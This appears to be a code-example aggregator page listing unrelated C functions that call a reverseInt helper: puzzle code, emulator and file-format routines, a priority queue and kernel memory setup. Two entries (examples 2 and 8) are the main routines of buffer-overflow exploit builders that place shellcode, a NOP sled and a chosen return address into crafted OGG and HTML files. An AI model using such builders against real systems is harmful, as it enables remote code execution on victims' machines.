Esempio n. 1
0
int main(){
    //TODO: faster
    uint max = 1000000000;
    uint count = 0;
    for(uint i = 10; i < max; i++){
        if(i % 10 != 0){
            string s = intToString(i);
            if(((int)(s[0]) + (int)(s[s.size() - 1])) % 2 != 0){
                uint reverse = reverseInt(i);
                vector<uint> d = digits(i + reverse);
                int j = 8;
                bool isRev = true;
                do{
                    if(d[j] > 0){
                        isRev = false;
                    }
                    j -= 2;
                }while(isRev && j >= 0);

                if(isRev){
                    count++;
                }
            }
        }
    }

    cout << count << endl;

    return 0;
}
Esempio n. 2
0
/*------main--------*/
    int main(int argc,char* argv[])
    {
          if(argc<2)
          {
           system("CLS");
            
           printf("%s%s",banner,arguments);
            
           Targetprint();exit(0);
           }
            
            input=atoi(argv[1]);          
           
            switch(input)
            {
                   case 0:
                   reverseInt(RET[0].eip);    
                   cpy(RET[0].eip,bf);      
                   break;
                    
                   case 1:
                   reverseInt(RET[1].eip);    
                   cpy(RET[1].eip,bf);
                   break;
                                  
                   case 2:
                   reverseInt(RET[2].eip);    
                   cpy(RET[2].eip,bf);
                   break;
                                         
                   case 3:
                   reverseInt(RET[3].eip);    
                   cpy(RET[3].eip,bf);
                   break;
                                                
                   case 4:
                   reverseInt(RET[4].eip);    
                   cpy(RET[4].eip,bf);
                   break;
            }
                   printf("[!]Using : %s retaddress\n",RET[input].etype);
                   buildF(b);     oggf(OGGfile);     getchar();
          
        return 0;
    } 
Esempio n. 3
0
int main()
{
	int p[LIMIT],i;
	printf("Enter %d Numbers \n",LIMIT);
	for(i=0;i<LIMIT;i++)
		scanf("%d",p+i);
	printf("Current Order: \n");
	dispInt(p);
	reverseInt(p);
	printf("Reverse Order: \n");
	dispInt(p);
	return 0;
}
void printMemory(ARM* arm) {
	printf("%s\n", "Non-zero memory:");

	for (int i = MEM_ADDR; i < MAX_MEMORY_SIZE; ++i) {
		if (arm->memory[i]) {
			// 1: First parameter to print is 4 * i because our memory is
			//    word-addressable, and their is byte-addressable
			// 2: Second parameter is the reverse number we store in memory
			//    because when we read, fread reverses the order of bytes read.
			printf("0x%.8x: 0x%.8x\n", 4 * i , reverseInt(arm->memory[i]));
		}
	}
}
void typeConvertFCtoDH(fileContainer_t  *fileContainer, dataHolder_t *dataHolder){
	intConvert_t org;
	LOG("typeConvertFCtoDH((fileContainer{%d, %p, %s}, dataHolder{%d, %p})\n", fileContainer->size, fileContainer->rawData, fileContainer->extension, dataHolder->size, dataHolder->data);
	org.number = fileContainer->size;
	reverseInt(&org);

	dataHolder->size = sizeof(int) + fileContainer->size + strlen(fileContainer->extension);
	LOG("dataHolder->size=%d\n", dataHolder->size);
	dataHolder->data = malloc(dataHolder->size);
	((int *)dataHolder->data)[0] = org.number;
	memcpy(dataHolder->data + sizeof(int), fileContainer->rawData, fileContainer->size);
	memcpy(dataHolder->data + sizeof(int) + fileContainer->size, fileContainer->extension, strlen(fileContainer->extension));

}
Esempio n. 6
0
/* Return that queue's entry which would be its last if the address were its size */
priorityQueueEntry* nodeAt(priorityQueue* queue, int address)
{
	priorityQueueEntry* current=queue->root;
	
	address=reverseInt(address);
	
	while(address!=1) {
		if(address%2==0)
			current = current->childl;
		else
			current = current->childr;
		address/=2;
	}
	
	return current;
}
void typeConvertDHtoFC(fileContainer_t  *fileContainer, dataHolder_t *dataHolder){
	intConvert_t org;


	LOG("typeConvertDHtoFC((fileContainer{%d, %p, %s}, dataHolder{%d, %p})\n", fileContainer->size, fileContainer->rawData, fileContainer->extension, dataHolder->size, dataHolder->data);
	int extSize;
	org.number = ((int *)dataHolder->data)[0];
	reverseInt(&org);
	fileContainer->size = org.number;
	LOG("fileSize is: %d\n", fileContainer->size);
	fileContainer->rawData = malloc(fileContainer->size);
	extSize = dataHolder->size - (fileContainer->size + sizeof(int));
	LOG("extSize is: %d\n", extSize);
	memcpy(fileContainer->rawData, dataHolder->data+sizeof(int), fileContainer->size);
	memcpy(fileContainer->extension, dataHolder->data + sizeof(int) + fileContainer->size, extSize);
	fileContainer->extension[extSize] = 0;
	LOG("ext is %s\n", fileContainer->extension);

}
Esempio n. 8
0
/*--------main---------*/
   int main(int argc,char* argv[])
   {
       system("CLS");
        
       cpy(banner,buffer);
       printf("%s",buffer);
        
       print("Starting exploit...");
        
       printShell();
       printTargets();
        
       if (argc < 2)
       {
         print("Too few args");
         exit(0);
       }
         memcpy(fbuffer, data, strlen(data));
         j=atoi(argv[1]);
          
         switch(j)
         {
           case 0:
              memcpy(fbuffer+SHELL_OFFSET,shellc[0].shelltype,sizeof(shellc[0].shelltype));
              break;
           case 1:
              memcpy(fbuffer+SHELL_OFFSET,shellc[1].shelltype,sizeof(shellc[1].shelltype));
              break;            
           case 2:
              memcpy(fbuffer+SHELL_OFFSET,shellc[2].shelltype,sizeof(shellc[2].shelltype));
              break;     
           case 3:
              memcpy(fbuffer+SHELL_OFFSET,shellc[3].shelltype,sizeof(shellc[3].shelltype));
              memset(fbuffer+SHELL_OFFSET+strlen(shellc[3].shelltype),0x90,161);
              break;     
           default: exit(0);
        }
         
        T=atoi(argv[2]);   
         
        if (T==0)
        {
          reverseInt(target[T].eip);
          memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);}
              else
        if (T==1)
        {
          reverseInt(target[T].eip);
          memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);
        }
              else
        if (T==2)
        {
          reverseInt(target[T].eip);
          memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);
        }
              else
        if (T==3)
        {
          reverseInt(target[T].eip);
          memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);
        }
             else
        if (T==4)
        {
          reverseInt(target[T].eip);
          memcpy(fbuffer+EIP_OFFSET,&target[T].eip,4);
        }
         
        fileBuild(HTMLFILE,fbuffer);
        printf("You are using the %s ret address\n",target[T].windows);
        printf("You are using the %s shellcode\n",shellc[j].shellname);
        print("Building file");
        print("DONE! file is build");
         
        getchar();
        return 0;
   }
Esempio n. 9
0
struct prom_pmemblock * __init prom_getmdesc(void)
{
    char *memsize_str;
    unsigned int memsize;
    char tmp_cmdline[COMMAND_LINE_SIZE];
    char *tmp_str;

    strlcpy(tmp_cmdline, arcs_cmdline, COMMAND_LINE_SIZE);
    tmp_str = find_args(tmp_cmdline, "debug_ros");
    if (tmp_str) {
        sscanf(tmp_str, "%x", &audio_addr);
        debug_flag = 1;
    }

    if (audio_addr == 0) {
        audio_addr = *((unsigned int *)0xa00000d8);
        audio_addr = reverseInt(audio_addr);
    }
    if ((audio_addr < 0x81000000) || (audio_addr >= 0x82000000)) {
        printk("**************************************************************\n");
        printk("You didn't specify audio image address, use default instead...\n");
        printk("**************************************************************\n");
        audio_addr = 0;
    }

    memsize_str = prom_getenv("memsize");
    if (!memsize_str) {
        prom_printf("memsize not set in boot prom, set to default (32Mb)\n");
        memsize = 0x02000000;
    } else {
#ifdef DEBUG
        prom_printf("prom_memsize = %s\n", memsize_str);
#endif
        memsize = simple_strtol(memsize_str, NULL, 0);
        if (memsize < 0x02000000) {
            panic("memsize cannot be less then 32Mb.\n");
        }
    }

    memset(mdesc, 0, sizeof(mdesc));

#ifdef CONFIG_REALTEK_MARS_RESERVE_LAST_48MB
    if (memsize == 0x10000000)
        memsize -= 0x03000000;
#endif

    // The last page is used to store the DRAM calibration parameter;
    // Jacky says that this page can be included in his RTOS memory region.
//	mdesc[4].type = yamon_dontuse;
//	mdesc[4].base = memsize - 4096;
//	mdesc[4].size = 4096;

#if CONFIG_REALTEK_RTOS_MEMORY_SIZE
    // If memsize is over 32Mb
    if(memsize > 0x02000000) {
        mdesc[4].type = yamon_free;
        mdesc[4].base = 0x02000000;
        mdesc[4].size = memsize - 0x02000000;
    }

    // This memory region is used by RTOS.
    mdesc[3].type = yamon_dontuse;
//	mdesc[3].base = mdesc[4].base - CONFIG_REALTEK_RTOS_MEMORY_SIZE;
    if (audio_addr != 0) {
        audio_addr = audio_addr-0x80000000;
        mdesc[3].base = audio_addr;
        mdesc[3].size = 0x02000000 - audio_addr;
    } else {
        mdesc[3].base = 0x02000000 - CONFIG_REALTEK_RTOS_MEMORY_SIZE;
        mdesc[3].size = CONFIG_REALTEK_RTOS_MEMORY_SIZE;
    }
    printk("audio addr: %x \n", audio_addr);

    // Kernel image is stored in 0x100000 - CPHYSADDR(PFN_ALIGN(&_end)).
    mdesc[2].type = yamon_free;
    mdesc[2].base = CPHYSADDR(PFN_ALIGN(&_end));
    mdesc[2].size = mdesc[3].base - CPHYSADDR(PFN_ALIGN(&_end));
#else
    // Kernel image is stored in 0x100000 - CPHYSADDR(PFN_ALIGN(&_end)).
    mdesc[2].type = yamon_free;
    mdesc[2].base = CPHYSADDR(PFN_ALIGN(&_end));
    mdesc[2].size = memsize - CPHYSADDR(PFN_ALIGN(&_end));
#endif

    mdesc[1].type = yamon_dontuse;
    mdesc[1].base = 0x100000;
    mdesc[1].size = CPHYSADDR(PFN_ALIGN(&_end))-0x100000;

    mdesc[0].type = yamon_free;
    mdesc[0].base = 0x0;
    mdesc[0].size = 0x100000;

    return &mdesc[0];
}